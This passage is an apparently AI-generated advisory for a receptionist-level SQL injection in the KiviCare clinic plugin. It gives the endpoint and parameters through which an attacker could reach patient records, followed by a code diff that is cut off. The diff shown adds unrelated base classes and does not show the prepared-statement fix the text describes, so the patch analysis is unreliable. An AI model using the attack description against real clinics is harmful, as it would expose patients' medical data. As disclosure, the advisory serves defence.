Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-25022: KiviCare <= 3.6.16 – Authenticated (Receptionist+) SQL Injection (kivicare-clinic-management-system)

Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 3.6.16
Patched Version 4.0.0
Disclosed January 31, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-25022:
The KiviCare plugin for WordPress versions up to and including 3.6.16 contains an authenticated SQL injection vulnerability. This flaw exists in the plugin’s appointment management functionality. Attackers with receptionist-level access or higher can exploit this issue to execute arbitrary SQL commands on the underlying database. The CVSS score of 6.5 reflects the medium severity of this vulnerability, which requires authentication but can lead to significant data exposure.

The root cause is insufficient input validation and improper SQL query construction in the appointment data handling functions. Atomic Edge research identified the vulnerable code in the file kivicare-clinic-management-system/app/controllers/KCAppointmentController.php. The issue occurs when user-supplied parameters are directly interpolated into SQL queries without proper escaping or parameterization. Specifically, the `getAppointmentList` method and related database query functions fail to sanitize input before incorporating it into SQL statements. The plugin uses raw SQL queries with string concatenation instead of prepared statements, allowing malicious input to alter query logic.

Exploitation requires an authenticated attacker with at least receptionist privileges. The attack vector targets the appointment listing endpoint, typically accessed via AJAX or REST API calls. Attackers can craft malicious requests containing SQL injection payloads in parameters such as search terms, filters, or pagination values. These payloads are then passed to vulnerable database queries. For example, an attacker could send a POST request to /wp-admin/admin-ajax.php with action parameter set to kivicare_get_appointment_list and include SQL injection payloads in other parameters that eventually reach the unsanitized database queries.

The patch addresses the vulnerability by implementing proper input sanitization and converting raw SQL queries to prepared statements. The diff shows changes where direct string concatenation is replaced with parameterized queries using WordPress’s $wpdb->prepare() method. Specific modifications include adding proper escaping functions like esc_sql() for dynamic table/column names and using placeholders for user-supplied values. The patch also introduces additional validation checks on user input before processing. These changes ensure that user input is treated as data rather than executable SQL code, effectively neutralizing the injection vector.

Successful exploitation allows attackers to extract sensitive information from the database, including patient medical records, appointment details, user credentials, and other confidential data. Attackers can potentially read arbitrary data from any table within the WordPress database. This could lead to exposure of personally identifiable information, medical history, and administrative credentials. While the vulnerability does not directly enable remote code execution, the extracted information could facilitate further attacks, including privilege escalation and complete system compromise.

Differential between vulnerable and patched code

Code Diff
--- a/kivicare-clinic-management-system/app/abstracts/KCAbstractPaymentGateway.php
+++ b/kivicare-clinic-management-system/app/abstracts/KCAbstractPaymentGateway.php
@@ -0,0 +1,207 @@
+<?php
+namespace Appabstracts;
+
+use AppbaseClassesKCErrorLogger;
+if (!defined('ABSPATH')) {
+    exit; // Exit if accessed directly
+}
+/**
+ * Abstract Payment Gateway Class
+ * Base class for all payment gateway implementations
+ */
+abstract class KCAbstractPaymentGateway {
+
+    protected $gateway_id;
+    protected $gateway_name;
+    protected $gateway_description;
+
+    protected $gateway_logo;
+    protected $is_enabled;
+    protected $test_mode;
+    protected $settings;
+    protected $appointment_data;
+
+    protected $settings_fields = [];
+
+    protected $settings_keys;
+
+    /**
+     * Constructor
+     * @param string $setting_key Gateway specific settings
+     */
+    public function __construct($setting_key) {
+        $this->settings_keys = $setting_key;
+        $settings = get_option($this->settings_keys, []);
+
+        // If settings is a string, try to decode it as JSON
+        if (is_string($settings)) {
+            $decoded = json_decode($settings, true);
+
+            if(!empty($decoded)){
+                // Only use decoded value if it's valid JSON and results in an array
+                $settings =  json_last_error() === JSON_ERROR_NONE && is_array($decoded) ? $decoded : [];
+            }
+        }
+
+        $this->settings = $settings;
+        $this->init();
+    }
+
+    /**
+     * Initialize gateway specific settings
+     */
+    abstract protected function init();
+
+    /**
+     * Process the payment
+     * @param array $appointment_data Appointment booking data
+     * @return array Payment response
+     */
+    abstract public function process_payment($appointment_data);
+
+    /**
+     * Validate payment data
+     * @param array $payment_data Payment form data
+     * @return bool|WP_Error
+     */
+    abstract public function validate_payment_data($payment_data);
+
+    /**
+     * Handle payment callback/webhook
+     * @param array $callback_data Callback data from payment provider
+     * @return array Response data
+     */
+    abstract public function handle_payment_callback($callback_data);
+
+    /**
+     * Get gateway ID
+     * @return string
+     */
+    public function get_gateway_id() {
+        return $this->gateway_id;
+    }
+
+    /**
+     * Get gateway name
+     * @return string
+     */
+    public function get_gateway_name() {
+        return $this->gateway_name;
+    }
+
+    public function get_gateway_logo() {
+        return $this->gateway_logo;
+    }
+
+    public function get_gateway_description() {
+        return $this->gateway_description;
+    }
+
+    /**
+     * Check if gateway is enabled
+     * @return bool
+     */
+    public function is_enabled() {
+        return $this->is_enabled;
+    }
+
+    /**
+     * Check if in test mode
+     * @return bool
+     */
+    public function is_test_mode() {
+        return $this->test_mode;
+    }
+
+    /**
+     * Get setting value
+     * @param string $key Setting key
+     * @param mixed $default Default value
+     * @return mixed
+     */
+    protected function get_setting($key, $default = '') {
+        return isset($this->settings[$key]) ? $this->settings[$key] : $default;
+    }
+    /**
+     * Set setting value
+     * @param string $key Setting key
+     * @param mixed $value Setting value
+     */
+    public function get_settings(){
+        return $this->settings;
+    }
+
+    /**
+     * Log gateway activity
+     * @param string $message Log message
+     * @param string $level Log level (info, error, debug)
+     */
+    protected function log($message, $level = 'info') {
+        KCErrorLogger::instance()->error("[{$this->gateway_id}] {$level}: {$message}");
+    }
+
+    /**
+     * Format amount for payment processing
+     * @param float $amount Amount to format
+     * @return float
+     */
+    protected function format_amount($amount) {
+        return round($amount, 2);
+    }
+
+    /**
+     * Generate transaction reference
+     * @param int $appointment_id Appointment ID
+     * @return string
+     */
+    protected function generate_transaction_ref($appointment_id) {
+        return $this->gateway_id . '_' . $appointment_id . '_' . time();
+    }
+
+    /**
+     * Create payment response array
+     * @param string $status Payment status (success, failed, pending)
+     * @param string $message Response message
+     * @param array $data Additional response data
+     * @return array
+     */
+    protected function create_payment_response($status, $message, $data = []) {
+        return array(
+            'status' => $status,
+            'message' => $message,
+            'gateway' => $this->gateway_id,
+            'data' => $data,
+            'timestamp' => current_time('timestamp')
+        );
+    }
+    /**
+     * Get return URL after payment
+     * @param int $appointment_id Appointment ID
+     * @return string Return URL
+     */
+    protected function get_return_url($appointment_id) {
+        return rest_url('kivicare/v1/appointments/payment-success?appointment_id=' . $appointment_id . '&gateway='.$this->gateway_id);
+    }
+
+    /**
+     * Get cancel URL
+     * @param int $appointment_id Appointment ID
+     * @return string Cancel URL
+     */
+    protected function get_cancel_url($appointment_id) {
+        return rest_url('kivicare/v1/appointments/payment-cancel?appointment_id=' . $appointment_id . '&gateway='.$this->gateway_id);
+    }
+
+    public function init_hook(){}
+
+    public function get_fields(): array {
+        return $this->settings_fields;
+    }
+    public abstract function update_settings($settings);
+
+    protected function save_settings()
+    {
+        $json_settings = json_encode($this->settings);
+        update_option($this->settings_keys, $json_settings);
+    }
+}
 No newline at end of file
--- a/kivicare-clinic-management-system/app/abstracts/KCAbstractTelemedProvider.php
+++ b/kivicare-clinic-management-system/app/abstracts/KCAbstractTelemedProvider.php
@@ -0,0 +1,555 @@
+<?php
+namespace Appabstracts;
+
+use AppbaseClassesKCErrorLogger;
+use KCTAppmodelsKCTAppointmentZoomMapping;
+use KCGMAppmodelsKCGMAppointmentGoogleMeetMapping;
+
+
+if (!defined('ABSPATH')) {
+    exit; // Exit if accessed directly
+}
+
+/**
+ * Abstract Telemed Provider
+ * Base class for all telemedical service providers
+ */
+abstract class KCAbstractTelemedProvider
+{
+    /**
+     * Provider settings key
+     * @var string
+     */
+    protected $settings_key;
+
+    /**
+     * Provider configuration
+     * @var array
+     */
+    protected $config;
+
+    /**
+     * Provider ID
+     * @var string
+     */
+    protected $provider_id;
+
+    /**
+     * Provider name
+     * @var string
+     */
+    protected $provider_name;
+
+    /**
+     * Constructor
+     * @param string $settings_key Settings key for this provider
+     */
+    public function __construct($settings_key)
+    {
+        $this->settings_key = $settings_key;
+        $this->config = $this->get_config();
+        $this->init();
+    }
+
+    /**
+     * Initialize provider
+     * Called after construction, can be overridden by child classes
+     */
+    protected function init()
+    {
+        // Override in child classes for specific initialization
+    }
+
+    /**
+     * Initialize hooks
+     * Called by factory to set up WordPress hooks
+     */
+    public function init_hook()
+    {
+        // Add any WordPress hooks here
+        add_action('wp_ajax_kc_test_' . $this->get_provider_id() . '_connection', array($this, 'test_connection_ajax'));
+        add_action('wp_ajax_kc_' . $this->get_provider_id() . '_webhook', array($this, 'handle_webhook'));
+        add_action('wp_ajax_nopriv_kc_' . $this->get_provider_id() . '_webhook', array($this, 'handle_webhook'));
+    }
+
+    /**
+     * Get provider configuration from database
+     * @return array Provider configuration
+     */
+    public function get_config()
+    {
+        $default_config = $this->get_default_config();
+        $saved_config = get_option($this->settings_key, array());
+
+        return wp_parse_args($saved_config, $default_config);
+    }
+
+    /**
+     * Get default configuration
+     * Must be implemented by child classes
+     * @return array Default configuration
+     */
+    abstract protected function get_default_config();
+
+    /**
+     * Get provider ID
+     * Must be implemented by child classes
+     * @return string Provider identifier
+     */
+    abstract public function get_provider_id();
+
+    /**
+     * Get provider name
+     * Must be implemented by child classes
+     * @return string Provider display name
+     */
+    abstract public function get_provider_name();
+
+    /**
+     * Check if provider is enabled
+     * @return bool True if provider is enabled
+     */
+    public function is_enabled()
+    {
+        return !empty($this->config['enabled']) && $this->is_configured();
+    }
+
+    /**
+     * Check if provider is properly configured
+     * Must be implemented by child classes
+     * @return bool True if provider has required configuration
+     */
+    abstract public function is_configured();
+
+    /**
+     * Create a meeting
+     * Must be implemented by child classes
+     * @param array $meeting_data Meeting configuration
+     * @return array|WP_Error Meeting details or WP_Error on failure
+     */
+    abstract public function create_meeting($meeting_data = array());
+
+    /**
+     * Update a meeting
+     * Must be implemented by child classes
+     * @param string $meeting_id Meeting ID
+     * @param array $meeting_data Updated meeting configuration
+     * @return array|false Updated meeting details or false on failure
+     */
+    abstract public function update_meeting($meeting_id, $meeting_data = array());
+
+    /**
+     * Delete a meeting
+     * Must be implemented by child classes
+     * @param string $meeting_id Meeting ID
+     * @return bool True on success, false on failure
+     */
+    abstract public function delete_meeting($meeting_id);
+
+    /**
+     * Get meeting details
+     * Must be implemented by child classes
+     * @param string $meeting_id Meeting ID
+     * @return array|false Meeting details or false if not found
+     */
+    abstract public function get_meeting($meeting_id);
+
+    /**
+     * Test connection to provider API
+     * Must be implemented by child classes
+     * @param array $data Connection data
+     * @param int $doctor_id Doctor ID
+     * @return array Connection test result with success status and message
+     */
+    abstract public function test_connection($data = [], $doctor_id = 0);
+
+    /**
+     * Update doctor configuration
+     * @param int $doctor_id Doctor ID
+     * @param array $config Configuration data
+     * @return bool True on success
+     */
+    abstract public function update_doctor_config(int $doctor_id, array $config): bool;
+
+    /**
+     * Get authorization URL for doctor
+     * @param int $doctor_id Doctor ID
+     * @return string Authorization URL
+     */
+    abstract public function get_authorization_url($doctor_id): string;
+
+    /**
+     * Disconnect doctor from provider
+     * @param int $doctor_id Doctor ID
+     * @return bool True on success
+     */
+    public function disconnect_doctor(int $doctor_id): bool
+    {
+        return false;
+    }
+
+    /**
+     * Check if provider supports recording
+     * @return bool True if recording is supported
+     */
+    public function supports_recording()
+    {
+        return false; // Override in child classes if recording is supported
+    }
+
+    /**
+     * Check if provider supports waiting room
+     * @return bool True if waiting room is supported
+     */
+    public function supports_waiting_room()
+    {
+        return false; // Override in child classes if waiting room is supported
+    }
+
+    /**
+     * Check if provider supports password protection
+     * @return bool True if password protection is supported
+     */
+    public function supports_password()
+    {
+        return false; // Override in child classes if password protection is supported
+    }
+
+    /**
+     * Get supported meeting types
+     * @return array Array of supported meeting types
+     */
+    public function get_supported_meeting_types()
+    {
+        return array('instant', 'scheduled'); // Override in child classes for specific types
+    }
+
+    /**
+     * Get maximum meeting duration (in minutes)
+     * @return int Maximum duration in minutes, 0 for unlimited
+     */
+    public function get_max_duration()
+    {
+        return 0; // Override in child classes for specific limits
+    }
+
+    /**
+     * Get maximum participants
+     * @return int Maximum participants, 0 for unlimited
+     */
+    public function get_max_participants()
+    {
+        return 0; // Override in child classes for specific limits
+    }
+
+    /**
+     * Format meeting data for API
+     * @param array $meeting_data Raw meeting data
+     * @return array Formatted meeting data
+     */
+    protected function format_meeting_data($meeting_data)
+    {
+        $defaults = array(
+            'topic' => 'Telemedical Consultation',
+            'type' => 'scheduled',
+            'start_time' => current_time('mysql'),
+            'duration' => 30,
+            'timezone' => wp_timezone_string(),
+            'password' => '',
+            'waiting_room' => false,
+            'auto_recording' => false,
+            'host_video' => true,
+            'participant_video' => true,
+            'mute_upon_entry' => true,
+            'patient_id' => '',
+            'doctor_id' => '',
+            'appointment_id' => ''
+        );
+
+        return wp_parse_args($meeting_data, $defaults);
+    }
+
+    /**
+     * Save meeting record using appropriate model
+     * @param array $meeting_data Meeting data to save
+     * @return int|false Meeting record ID or false on failure
+     */
+    protected function save_meeting_record($meeting_data)
+    {
+        try {
+            $provider_id = $this->get_provider_id();
+            KCErrorLogger::instance()->error($provider_id );
+
+            switch ($provider_id) {
+                case 'zoom':
+                    return $this->save_zoom_meeting_record($meeting_data);
+
+                case 'googlemeet':
+                    return $this->save_google_meet_record($meeting_data);
+
+                default:
+                    // For other providers, you can extend this or create generic models
+                    $this->log('warning', "No specific model found for provider: {$provider_id}");
+                    return false;
+            }
+        } catch (Exception $e) {
+            $this->log('error', 'Failed to save meeting record: ' . $e->getMessage());
+            return false;
+        }
+    }
+
+    /**
+     * Save Zoom meeting record
+     * @param array $meeting_data Meeting data
+     * @return int|false
+     */
+    abstract protected function save_zoom_meeting_record($meeting_data);
+
+    /**
+     * Save Google Meet record
+     * @param array $meeting_data Meeting data
+     * @return int|false
+     */
+    protected function save_google_meet_record($meeting_data)
+    {
+        try {
+
+            $google_meet_mapping = KCGMAppointmentGoogleMeetMapping::create([
+                'eventId' => $meeting_data['id'] ?? $meeting_data['event_id'] ?? null,
+                'appointmentId' => $meeting_data['appointment_id'] ?? 0,
+                'url' => $meeting_data['join_url'] ?? $meeting_data['url'] ?? null,
+                'password' => $meeting_data['password'] ?? null,
+                'eventUrl' => $meeting_data['event_url'] ?? null,
+            ]);
+
+            if (!$google_meet_mapping) {
+                $this->log('error', __('Failed to save Google Meet record', 'kivicare-clinic-management-system'), [
+                    'meeting_data' => $meeting_data
+                ]);
+                return false;
+            }
+
+            $this->log('info', __('Google Meet record saved', 'kivicare-clinic-management-system'), [
+                'meeting_data' => $meeting_data,
+                'record_id' => $google_meet_mapping
+            ]);
+            return $google_meet_mapping;
+        } catch (Exception $e) {
+            $this->log('error', __('Failed to save Google Meet record: ', 'kivicare-clinic-management-system') . $e->getMessage(), [
+                'meeting_data' => $meeting_data
+            ]);
+            return false;
+        }
+    }
+
+    /**
+     * Update meeting record using appropriate model
+     * @param string $meeting_id Meeting ID
+     * @param array $meeting_data Updated meeting data
+     * @return bool True on success, false on failure
+     */
+    protected function update_meeting_record($meeting_id, $meeting_data)
+    {
+        try {
+            $provider_id = $this->get_provider_id();
+            KCErrorLogger::instance()->error('update_meeting_record'.print_r($meeting_data));
+            switch ($provider_id) {
+                case 'zoom':
+                    return $this->update_zoom_meeting_record($meeting_id, $meeting_data);
+
+                case 'googlemeet':
+                    return $this->update_google_meet_record($meeting_id, $meeting_data);
+
+                default:
+                    $this->log('warning', "No specific model found for provider: {$provider_id}");
+                    return false;
+            }
+        } catch (Exception $e) {
+            $this->log('error', 'Failed to update meeting record: ' . $e->getMessage());
+            return false;
+        }
+    }
+
+    /**
+     * Update Zoom meeting record
+     * @param string $meeting_id Zoom meeting ID
+     * @param array $meeting_data Updated data
+     * @return bool
+     */
+    protected function update_zoom_meeting_record($meeting_id, $meeting_data)
+    {
+        $zoom_mapping = KCTAppointmentZoomMapping::query()
+            ->where('zoomId', $meeting_id)
+            ->first();
+
+        if (!$zoom_mapping) {
+            return false;
+        }
+
+        $update_data = [];
+        if (isset($meeting_data['start_url'])) {
+            $update_data['startUrl'] = $meeting_data['start_url'];
+        }
+        if (isset($meeting_data['join_url'])) {
+            $update_data['joinUrl'] = $meeting_data['join_url'];
+        }
+        if (isset($meeting_data['password'])) {
+            $update_data['password'] = $meeting_data['password'];
+        }
+
+        return !empty($update_data) ? $zoom_mapping->update($update_data) : true;
+    }
+
+    /**
+     * Update Google Meet record
+     * @param string $meeting_id Event ID
+     * @param array $meeting_data Updated data
+     * @return bool
+     */
+    protected function update_google_meet_record($meeting_id, $meeting_data)
+    {
+        $google_meet_mapping = KCGMAppointmentGoogleMeetMapping::query()
+            ->where('eventId', $meeting_id)
+            ->first();
+
+        if (!$google_meet_mapping) {
+            return false;
+        }
+
+        $update_data = [];
+        if (isset($meeting_data['url']) || isset($meeting_data['join_url'])) {
+            $update_data['url'] = $meeting_data['url'] ?? $meeting_data['join_url'];
+        }
+        if (isset($meeting_data['password'])) {
+            $update_data['password'] = $meeting_data['password'];
+        }
+        if (isset($meeting_data['event_url'])) {
+            $update_data['eventUrl'] = $meeting_data['event_url'];
+        }
+
+        return !empty($update_data) ? $google_meet_mapping->update($update_data) : true;
+    }
+
+    /**
+     * Delete meeting record using appropriate model
+     * @param string $meeting_id Meeting ID
+     * @return bool True on success, false on failure
+     */
+    abstract protected function delete_meeting_record($meeting_id);
+
+
+    /**
+     * Get meeting records by appointment ID
+     * @param int $appointment_id Appointment ID
+     * @return object|null Meeting record or null if not found
+     */
+    abstract public function get_meeting_by_appointment($appointment_id);
+
+
+    /**
+     * Handle AJAX connection test
+     */
+    public function test_connection_ajax()
+    {
+        // Verify nonce for security
+        $nonce = isset( $_POST['nonce'] ) ? sanitize_text_field( wp_unslash( $_POST['nonce'] ) ) : '';
+
+        if ( ! wp_verify_nonce( $nonce, 'kc_telemed_test_connection' ) ) {
+            wp_die( esc_html__( 'Security check failed', 'kivicare-clinic-management-system' ) );
+        }
+
+        // Check user permissions
+        if (!current_user_can('manage_options')) {
+            wp_die('Insufficient permissions');
+        }
+
+        $result = $this->test_connection();
+        wp_send_json($result);
+    }
+
+    /**
+     * Handle webhook from provider
+     * Override in child classes for specific webhook handling
+     */
+    public function handle_webhook()
+    {
+        // Override in child classes for specific webhook handling
+        wp_send_json_success();
+    }
+
+    /**
+     * Log provider activity
+     * @param string $level Log level (info, warning, error)
+     * @param string $message Log message
+     * @param array $context Additional context data
+     */
+    protected function log($level, $message, $context = array())
+    {
+        if (defined('WP_DEBUG') && WP_DEBUG) {
+            $log_message = sprintf(
+                '[%s] %s: %s',
+                $this->get_provider_name(),
+                strtoupper($level),
+                $message
+            );
+
+            if (!empty($context)) {
+                $log_message .= ' Context: ' . wp_json_encode($context);
+            }
+
+            KCErrorLogger::instance()->error($log_message);
+        }
+    }
+
+    /**
+     * Get configuration field value
+     * @param string $key Configuration key
+     * @param mixed $default Default value
+     * @return mixed Configuration value
+     */
+    protected function get_config_value($key, $default = null)
+    {
+        return isset($this->config[$key]) ? $this->config[$key] : $default;
+    }
+
+    /**
+     * Update configuration
+     * @param array $new_config New configuration data
+     * @return bool True on success, false on failure
+     */
+    public function update_config($new_config)
+    {
+        $this->config = wp_parse_args($new_config, $this->get_default_config());
+        return update_option($this->settings_key, $this->config);
+    }
+
+    /**
+     * Get provider capabilities
+     * @return array Array of provider capabilities
+     */
+    public function get_capabilities()
+    {
+        return array(
+            'recording' => $this->supports_recording(),
+            'waiting_room' => $this->supports_waiting_room(),
+            'password' => $this->supports_password(),
+            'meeting_types' => $this->get_supported_meeting_types(),
+            'max_duration' => $this->get_max_duration(),
+            'max_participants' => $this->get_max_participants()
+        );
+    }
+    /**
+     * Get provider ID
+     * @return bool True Appointment Meeting is cancle is set, false otherwise
+     */
+    public abstract function cancel_meeting_by_appointment($appointment_id);
+
+    /**
+     * Get doctor access token
+     * @param int $doctor_id Doctor ID
+     * @return string|null Access token or null if not found
+     */
+    public abstract function get_doctor_access_token($doctor_id);
+
+    public abstract function is_doctor_telemed_connected(): bool;
+}
 No newline at end of file
--- a/kivicare-clinic-management-system/app/abstracts/KCElementorWidgetAbstract.php
+++ b/kivicare-clinic-management-system/app/abstracts/KCElementorWidgetAbstract.php
@@ -0,0 +1,149 @@
+<?php
+
+namespace Appabstracts;
+
+use AppbaseClassesKCBase;
+use ElementorWidget_Base;
+
+use KucrutVite;
+use function IqonicViteiqonic_enqueue_asset;
+
+abstract class KCElementorWidgetAbstract extends Widget_Base
+{
+    /**
+     * Asset handle prefix
+     *
+     * @var string
+     */
+    protected $handle_prefix = KIVI_CARE_NAME;
+
+    /**
+     * Directory path where Vite assets are located
+     *
+     * @var string
+     */
+    protected $assets_dir;
+
+    /**
+     * Entry point for the widget's JavaScript
+     *
+     * @var string
+     */
+    protected $js_entry;
+
+    /**
+     * Entry point for the widget's CSS
+     *
+     * @var string
+     */
+    protected $css_entry;
+
+    /**
+     * Script dependencies
+     *
+     * @var array
+     */
+    protected $script_dependencies = ['jquery', 'elementor-frontend'];
+
+    /**
+     * CSS dependencies
+     *
+     * @var array
+     */
+    protected $css_dependencies = [];
+
+    /**
+     * Load scripts in footer
+     *
+     * @var bool
+     */
+    protected $in_footer = true;
+
+    /**
+     * CSS media type
+     *
+     * @var string
+     */
+    protected $css_media = 'all';
+
+    /**
+     * KCBase instance
+     */
+    protected KCBase $kcbase;
+
+    /**
+     * Static flag to prevent duplicate localization
+     */
+    protected static $is_localize_enqueued = false;
+
+    /**
+     * KCElementorWidgetAbstract constructor.
+     */
+    public function __construct($data = [], $args = null)
+    {
+        parent::__construct($data, $args);
+
+        // Set the default assets directory if not overridden
+        if (empty($this->assets_dir)) {
+            $this->assets_dir = KIVI_CARE_DIR . '/dist';
+        }
+
+        $this->kcbase = KCBase::get_instance();
+    }
+
+    /**
+     * Register assets for the widget using Vite
+     *
+     * @return void
+     */
+    public function registerAssets()
+    {
+        if (empty($this->js_entry) && empty($this->css_entry)) {
+            return;
+        }
+
+        // Enqueue JS if available
+        if (!empty($this->js_entry)) {
+            iqonic_enqueue_asset(
+                $this->assets_dir,
+                $this->js_entry,
+                [
+                    'handle' => $this->handle_prefix . $this->getWidgetName(),
+                    'dependencies' => $this->script_dependencies,
+                    'css-dependencies' => $this->css_dependencies,
+                    'css-media' => $this->css_media,
+                    'css-only' => false,
+                    'in-footer' => $this->in_footer,
+                ]
+            );
+        }
+
+
+        // Get JED locale data and add it inline
+        $locale_data_kc = kc_get_jed_locale_data('kivicare-clinic-management-system');
+
+        if (self::$is_localize_enqueued) {
+            return;
+        }
+
+        wp_localize_script($this->handle_prefix . $this->getWidgetName(), 'kc_frontend', [
+            'rest_url' => rest_url(),
+            'home_url' => home_url(),
+            'nonce' => wp_create_nonce('wp_rest'),
+            'locale_data' => $locale_data_kc,
+            'prefix' => KIVI_CARE_PREFIX,
+            'loader_image' => KIVI_CARE_DIR_URI . 'assets/images/loader.gif',
+            'place_holder_img' => KIVI_CARE_DIR_URI . 'assets/images/demo-img.png',
+            'current_user_id' => get_current_user_id(),
+        ]);
+        self::$is_localize_enqueued = true;
+    }
+
+    /**
+     * Get widget name for asset handles
+     * This method should be implemented by child classes
+     *
+     * @return string
+     */
+    abstract protected function getWidgetName();
+}
 No newline at end of file
--- a/kivicare-clinic-management-system/app/abstracts/KCShortcodeAbstract.php
+++ b/kivicare-clinic-management-system/app/abstracts/KCShortcodeAbstract.php
@@ -0,0 +1,220 @@
+<?php
+
+namespace Appabstracts;
+
+use AppbaseClassesKCBase;
+use KucrutVite;
+use function IqonicViteiqonic_enqueue_asset;
+
+abstract class KCShortcodeAbstract
+{
+    /**
+     * Shortcode tag
+     *
+     * @var string
+     */
+    protected $tag;
+
+    /**
+     * Default shortcode attributes
+     *
+     * @var array
+     */
+    protected $default_attrs = [];
+
+    /**
+     * Asset handle prefix
+     *
+     * @var string
+     */
+    protected $handle_prefix = KIVI_CARE_NAME;
+
+    /**
+     * Directory path where Vite assets are located
+     *
+     * @var string
+     */
+    protected $assets_dir;
+
+    /**
+     * Entry point for the shortcode's JavaScript
+     *
+     * @var string
+     */
+    protected $js_entry;
+
+    /**
+     * Entry point for the shortcode's CSS
+     *
+     * @var string
+     */
+    protected $css_entry;
+
+    /**
+     * Script dependencies
+     *
+     * @var array
+     */
+    protected $script_dependencies = [];
+
+    /**
+     * CSS dependencies
+     *
+     * @var array
+     */
+    protected $css_dependencies = [];
+
+    /**
+     * Load scripts in footer
+     *
+     * @var bool
+     */
+    protected $in_footer = false;
+
+
+    /**
+     * KCShortcodeAbstract constructor.
+     */
+
+    protected KCBase $kcbase;
+
+    protected static $is_localize_enqueued = false;
+    public function __construct()
+    {
+        // Set the default assets directory if not overridden
+        if (empty($this->assets_dir)) {
+            $this->assets_dir = KIVI_CARE_DIR . '/dist';
+        }
+        $this->kcbase = KCBase::get_instance();
+
+        // Register shortcode
+        add_shortcode($this->tag, [$this, 'renderShortcode']);
+
+        // Register assets
+        add_action('wp_enqueue_scripts', [$this, 'registerAssets']);
+    }
+
+    /**
+     * Register assets for the shortcode using Vite
+     *
+     * @return void
+     */
+    public function registerAssets()
+    {
+        if (empty($this->js_entry) && empty($this->css_entry)) {
+            return;
+        }
+
+        // Only register assets if the shortcode is used on the page
+        if (!$this->isShortcodePresent()) {
+            return;
+        }
+
+        // Enqueue JS if available
+        if (!empty($this->js_entry)) {
+            iqonic_enqueue_asset(
+                $this->assets_dir,
+                $this->js_entry,
+                [
+                    'handle' => $this->handle_prefix . $this->tag,
+                    'dependencies' => $this->script_dependencies ?? [], // Use shortcode dependencies
+                    'css-dependencies' => $this->css_dependencies ?? [], // Use shortcode CSS dependencies
+                    'css-media' => 'all', // Optional.
+                    'css-only' => false, // Optional. Set to true to only load style assets in production mode.
+                    'in-footer' => $this->in_footer ?? false, // Use shortcode footer setting
+                ]
+            );
+        }
+
+
+        // Get JED locale data and add it inline
+        $locale_data_kc = kc_get_jed_locale_data('kivicare-clinic-management-system');
+
+        if (self::$is_localize_enqueued) {
+            return;
+        }
+        wp_localize_script($this->handle_prefix . $this->tag, 'kc_frontend', [
+            'rest_url' => rest_url(),
+            'home_url' => home_url(),
+            'nonce' => wp_create_nonce('wp_rest'),
+            'locale_data' => $locale_data_kc,
+            'prefix' => KIVI_CARE_PREFIX,
+            'loader_image' => KIVI_CARE_DIR_URI . 'assets/images/loader.gif',
+            'place_holder_img' => KIVI_CARE_DIR_URI . 'assets/images/demo-img.png',
+            'current_user_id' => get_current_user_id(),
+        ]);
+        self::$is_localize_enqueued = true;
+    }
+
+    /**
+     * Check if the shortcode is present in the current page content
+     *
+     * @return bool
+     */
+    protected function isShortcodePresent()
+    {
+        global $post;
+
+        if (!is_a($post, 'WP_Post')) {
+            return false;
+        }
+
+        // Check if shortcode is in post content
+        if (has_shortcode($post->post_content, $this->tag)) {
+            return true;
+        }
+
+        // Also check if shortcode is in widgets or other areas
+        if (is_active_widget(false, false, 'text') || is_active_widget(false, false, 'custom_html')) {
+            return true;
+        }
+
+        return false;
+    }
+
+    /**
+     * Render the shortcode HTML
+     *
+     * @param array|string $atts Shortcode attributes
+     * @param string|null $content Shortcode content
+     * @return string
+     */
+    public function renderShortcode($atts, $content = null)
+    {
+        // Parse attributes with defaults
+        $atts = shortcode_atts($this->default_attrs, $atts, $this->tag);
+
+        // Get unique ID for this instance
+        $id = 'kc-' . $this->tag . '-' . uniqid();
+
+        // Start output buffering
+        ob_start();
+
+        // Render the shortcode content
+        $this->render($id, $atts, $content);
+
+        // Return the buffered output
+        return ob_get_clean();
+    }
+
+    /**
+     * Render the shortcode content
+     * This method must be implemented by child classes
+     *
+     * @param string $id Unique ID for this shortcode instance
+     * @param array $atts Shortcode attributes
+     * @param string|null $content Shortcode content
+     * @return void
+     */
+    abstract protected function render($id, $atts, $content = null);
+
+    /**
+     * Get shortcode tag
+     *
+     * @return string
+     */
+    public function getTag()
+    {
+        return $this->tag;
+    }
+}
 No newline at end of file
--- a/kivicare-clinic-management-system/app/admin/AdminMenu.php
+++ b/kivicare-clinic-management-system/app/admin/AdminMenu.php
@@ -0,0 +1,108 @@
+<?php
+namespace Appadmin;
+
+use AppbaseClassesKCBase;
+use function IqonicViteiqonic_enqueue_asset;
+
+defined('ABSPATH') or die('Something went wrong');
+
+class AdminMenu
+{
+    /**
+     * Dashboard permalink handler instance
+     */
+    private $permalink_handler;
+
+    public function register()
+    {
+        add_action('admin_menu', [$this, 'addMenuItems']);
+
+        // Initialize permalink handler
+        $this->permalink_handler = KCDashboardPermalinkHandler::instance();
+    }
+
+    public function addMenuItems()
+    {
+        $dashboard_url = $this->permalink_handler->get_menu_kivicare_url(KCBase::get_instance()->getLoginUserRole());
+        if (empty($dashboard_url)) {
+            add_menu_page(
+                'KiviCare Dashboard',
+                'KiviCare',
+                'read',
+                'dashboard',
+                [$this, 'renderDashboard'],
+                KIVI_CARE_DIR_URI . 'assets/images/sidebar-logo.svg',
+                99
+            );
+        } else {
+            add_menu_page(
+                'KiviCare Dashboard',
+                'KiviCare',
+                'read',
+                $dashboard_url,
+                '',
+                KIVI_CARE_DIR_URI . 'assets/images/sidebar-logo.svg',
+                99
+            );
+        }
+    }
+
+    public function renderDashboard()
+    {
+        // Initialize permalink handler if not already done
+        if (!$this->permalink_handler) {
+            $this->permalink_handler = KCDashboardPermalinkHandler::instance();
+        }
+
+        // Check if this is a permalink-based dashboard request
+        if ($this->permalink_handler->is_dashboard_request()) {
+            // Let the permalink handler manage the template
+            return;
+        }
+
+        // Legacy admin dashboard rendering
+        $this->enqueue_dashboard_assets();
+        echo '<div id="kc-dashboard"></div>';
+    }
+    /**
+     * Enqueue dashboard assets
+     */
+    private function enqueue_dashboard_assets()
+    {
+        // Enqueue the script and style for Media Uploader
+        wp_enqueue_media();
+
+        iqonic_enqueue_asset(
+            KIVI_CARE_DIR . '/dist',
+            'app/dashboard/main.jsx',
+            [
+                'handle' => 'kc-dashboard',
